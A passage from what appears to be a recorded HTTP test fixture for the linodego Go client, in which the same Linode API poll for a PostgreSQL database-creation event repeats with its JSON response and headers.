'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": 